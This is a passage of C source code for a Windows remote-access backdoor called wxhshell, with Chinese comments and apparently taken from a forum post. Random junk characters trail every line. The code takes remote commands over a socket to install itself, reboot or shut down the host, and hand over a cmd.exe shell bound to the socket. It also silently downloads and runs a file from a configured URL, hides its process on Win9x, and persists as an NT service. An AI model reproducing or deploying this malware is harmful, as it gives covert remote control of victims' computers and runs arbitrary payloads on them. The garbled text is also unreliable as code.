  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ca]vK'(  
  } aCy2 .Qn  
  else { naM4X@jl  
+g\u=&< 6  
    switch(cmd[0]) { a+,)rY9  
  xlS t  
  // 帮助 ~ia#=|1}  
  case '?': { a)[tkjU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0;r+E*`DA  
    break; ]r6,^"  
  } (F~eknJ  
  // 安装 T?NwSxGo  
  case 'i': { Y!CZ?c) @  
    if(Install()) )vhHlZ *+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w/>k  
    else LYv+Sv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^]AjcctGr  
    break; {.;MsE  
    } !f]F'h8  
  // 卸载 e#SNN-hKsJ  
  case 'r': { qvhTc6oH  
    if(Uninstall()) .kvuI6H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i#&]{]}Qv  
    else ;]+kC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =i\~][-  
    break; 2t/ba3Rfk  
    } xlv:+  
  // 显示 wxhshell 所在路径 Z'PL?;&+R  
  case 'p': { Y |n_Ro^~  
    char svExeFile[MAX_PATH]; 1,9RfYV  
    strcpy(svExeFile,"\n\r"); phEM1",4T  
      strcat(svExeFile,ExeFile); nD!C9G#oS  
        send(wsh,svExeFile,strlen(svExeFile),0); *+lnAxRa?  
    break; `L7 cS  
    } sw8Ic\vT  
  // 重启 o#Rao#bD:  
  case 'b': { UYGl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F2OU[Z,-]  
    if(Boot(REBOOT)) *cq#>rN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZXe[>H  
    else { b]Oc6zR,,~  
    closesocket(wsh); 2mVH*\D  
    ExitThread(0); i#iY;R8  
    } H Viu7kue`  
    break; h$4V5V  
    } x(}@se  
  // 关机 y @h^  
  case 'd': { R~[ u|EC}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,|?B5n&  
    if(Boot(SHUTDOWN)) ^L<1S/~)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L&q~5 9  
    else { u A*Op45  
    closesocket(wsh); h9&<-k  
    ExitThread(0); 0XvMaQXQF  
    } a(BWV?A  
    break; M\>y&'J-  
    } W;OxH"eC  
  // 获取shell ~)Ny8Dh  
  case 's': { OCY7Bls4  
    CmdShell(wsh);  2gb49y~  
    closesocket(wsh); ZLxe$.V_  
    ExitThread(0); hDjsGB|Fz  
    break; _OHz6ag  
  } 2m/1:5  
  // 退出 &=K-~!?  
  case 'x': { Z:)\j.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7Ja^d-F7  
    CloseIt(wsh); ~u/Enl7\-  
    break; jKM-(s!(  
    } at ]Lz_\  
  // 离开 qA Jgz7=c  
  case 'q': { =DG aK0n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]'DtuT?Z  
    closesocket(wsh); 0'c<EJ  
    WSACleanup(); =HYMX "s  
    exit(1); d\'M ~VQ  
    break; rS{Rzs^@  
        } b> &kL  
  } FV!  
  } 64h r| v  
@fPiGu`L  
  // 提示信息 'R,1Jmx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *.n9D  
} T->O5t c  
  } Y&]pC  
3QM.X^ANH  
  return; |P>> ^,iUn  
} 2px l!  
/vwGSuk._  
// shell模块句柄 }NiJDs  
int CmdShell(SOCKET sock) OfbM]:}<3  
{ u L/*,[}'  
STARTUPINFO si; F~)xZN3=  
ZeroMemory(&si,sizeof(si)); qf(!3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G{YJ(6etZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %l5Uy??Z  
PROCESS_INFORMATION ProcessInfo; Zb<DgJ=3  
char cmdline[]="cmd"; SN\;&(?G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =DcKHL(m  
  return 0; P;mmK&&  
} )I$_wB!UV  
JG0TbM1(Bt  
// 自身启动模式 9Z6O{ >  
int StartFromService(void) yngSD`b_P  
{ Q0Dw2>~_K  
typedef struct : R.,<DQM  
{ %~}9#0h)  
  DWORD ExitStatus; fW <qp  
  DWORD PebBaseAddress; 7?Xfge%\  
  DWORD AffinityMask; 3#^xxEu  
  DWORD BasePriority; k0{Mq<V*%  
  ULONG UniqueProcessId; Cp_"PvTmT  
  ULONG InheritedFromUniqueProcessId; e nDjP  
}   PROCESS_BASIC_INFORMATION; | t3_E  
"&77`R  
PROCNTQSIP NtQueryInformationProcess; US@ak4Y6Z  
p`T7Y\\#!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; haqL DVrf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cuW$%$ F  
$*`fn{2  
  HANDLE             hProcess; `?2S4lN/  
  PROCESS_BASIC_INFORMATION pbi; !sK{:6s  
5lVDYmh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y*2:(nI  
  if(NULL == hInst ) return 0; KR?-<  
(VU: &.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;~tKNytD`B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HwiG~'Ah9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SI4M<'fK  
o%RyE]pw,  
  if (!NtQueryInformationProcess) return 0; 7K%Ac  
B ,e3r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pR; AqDQ  
  if(!hProcess) return 0; s@K|zOx  
ko=vK%E[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gM^ Hs7o,  
x_s9DkX  
  CloseHandle(hProcess); [;83 IoU}  
P8:k"i/6J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q: ?6  
if(hProcess==NULL) return 0; cOxF.(L  
gR?=z}`@p  
HMODULE hMod; !n@Yg2w  
char procName[255]; Ro$l/lXl8t  
unsigned long cbNeeded; f*aYS  
b: +.Y$%F-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "  q0lh  
?2aglj*"v,  
  CloseHandle(hProcess); ||0mfb  
SB:-zQ5  
if(strstr(procName,"services")) return 1; // 以服务启动 kOs_]  
M(jSv  
  return 0; // 注册表启动 [qI, $ +  
} bmGIxBRq  
o/)]z  
// 主模块 "2o)1G  
int StartWxhshell(LPSTR lpCmdLine) ")i4w{_y  
{ .?@$Rd2@W  
  SOCKET wsl; E&7U |$  
BOOL val=TRUE; l]uF!']f  
  int port=0; s1?N&t8c  
  struct sockaddr_in door; &Plc  
[yW0U:m  
  if(wscfg.ws_autoins) Install(); xbvZ7g^  
)8!""n~  
port=atoi(lpCmdLine); J XPE9uH  
BwEO2a{  
if(port<=0) port=wscfg.ws_port; HX7"w   
1\$xq9  
  WSADATA data; W{*U#:Jx1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R]/3`X9!d>  
qa.nm4"6+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +%UfnbZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /hQTV!\u  
  door.sin_family = AF_INET; kL*  DU`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <V5(5gx  
  door.sin_port = htons(port); L(fOe3 v  
@_J~zo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P>9F(#u_(F  
closesocket(wsl); MRV4D<NQ  
return 1; L 1H!o!*  
} C-V,3}=*2  
7b_t%G"  
  if(listen(wsl,2) == INVALID_SOCKET) { 4%Z!*W*  
closesocket(wsl); Hca vA{H  
return 1; }i^]uW*h  
} tMR&>hM  
  Wxhshell(wsl); &'TZU"_  
  WSACleanup(); m6a`OkP  
$^?Mip  
return 0; Y[R veF  
w/IYQC\v  
} 04D>h0yFf  
b8r?Dd"T8  
// 以NT服务方式启动 '=Nb`n3%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mCb(B48]%X  
{ %iPWg  
DWORD   status = 0; Ej~vp2  
  DWORD   specificError = 0xfffffff; c>6dlWTqX  
iVTC"v  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  z"Miy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~:'tp28?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vzn0;  
  serviceStatus.dwWin32ExitCode     = 0; ~!;*C  
  serviceStatus.dwServiceSpecificExitCode = 0; #>i Bu:\J  
  serviceStatus.dwCheckPoint       = 0; WXV(R,*Tc  
  serviceStatus.dwWaitHint       = 0; c @7d4Jz  
%IL] Wz<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aMe]6cWHV>  
  if (hServiceStatusHandle==0) return; ]V0V8fU|  
Z$LWZg  
status = GetLastError(); 8Wqh 8$  
  if (status!=NO_ERROR) ?<)4_  
{ ~_8Dv<"a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #I8)|p?P  
    serviceStatus.dwCheckPoint       = 0; I$7|?8  
    serviceStatus.dwWaitHint       = 0; b"Hc==`  
    serviceStatus.dwWin32ExitCode     = status; b+Vfi9<  
    serviceStatus.dwServiceSpecificExitCode = specificError; hjf!FY*F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  DA]<30 w  
    return; (VV5SvdE  
  } Q6)Wh6Cm  
N-Fs-uB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h;cl+c|B  
  serviceStatus.dwCheckPoint       = 0; DB%}@IW"  
  serviceStatus.dwWaitHint       = 0; "jV :L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5.! OC5tO  
} #{K}o}  
0)F.Y,L  
// 处理NT服务事件,比如:启动、停止 Z.'j7(tu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?1w{lz(P  
{ \kWL:uU  
switch(fdwControl) iMjoa tt  
{ 9^ ;Cz>6s  
case SERVICE_CONTROL_STOP: G5*"P!@6  
  serviceStatus.dwWin32ExitCode = 0; |ecK~+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JYbsta  
  serviceStatus.dwCheckPoint   = 0; ,Ei!\U^)  
  serviceStatus.dwWaitHint     = 0; D+#OB|&Dn  
  { yC\dM1X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }?G([s56  
  } nVB.sab  
  return; :j^IXZW  
case SERVICE_CONTROL_PAUSE: 2qd5iOhX+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X})5XYvA*  
  break; ^Gi9&fS,  
case SERVICE_CONTROL_CONTINUE: 3 PkVMX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Znr6,[U+q  
  break; wnUuoX(  
case SERVICE_CONTROL_INTERROGATE: ,5V w^@F  
  break; O|K-UTWH%  
}; MrjgV+P}[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5"sd  
} +pUG6.j%  
W4Z8U0co  
// 标准应用程序主函数 mR,w~wP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {E=BFs  
{ $, hHR:  
zUuOX5-6x  
// 获取操作系统版本 gGZ-B<  
OsIsNt=GetOsVer(); 5 EhOvt8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3JYhF)G  
\k4tYL5  
  // 从命令行安装 JuW"4R  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gh%R4)}  
tTEw"DL_-  
  // 下载执行文件 =csh=V@s  
if(wscfg.ws_downexe) { H4B|c42  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hgg 8r#4q  
  WinExec(wscfg.ws_filenam,SW_HIDE); OQ(w]G0LP  
} +Vv+<M  
l bs0i  
if(!OsIsNt) { Xwp6]lx  
// 如果时win9x,隐藏进程并且设置为注册表启动 mH.c`*  
HideProc(); ,J6t 1V  
StartWxhshell(lpCmdLine); YCl&}/.pA  
} E)3Ah!  
else e5AZU7%.  
  if(StartFromService()) \LG0   
  // 以服务方式启动 IA%|OVAfF  
  StartServiceCtrlDispatcher(DispatchTable); :o3>  
else p=!12t  
  // 普通方式启动 -kF8ZF  
  StartWxhshell(lpCmdLine); bG)EZ  
o$QC:%[#  
return 0; A"tE~m;"7  
}
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只看该作者 1 发表于: 2006-10-10
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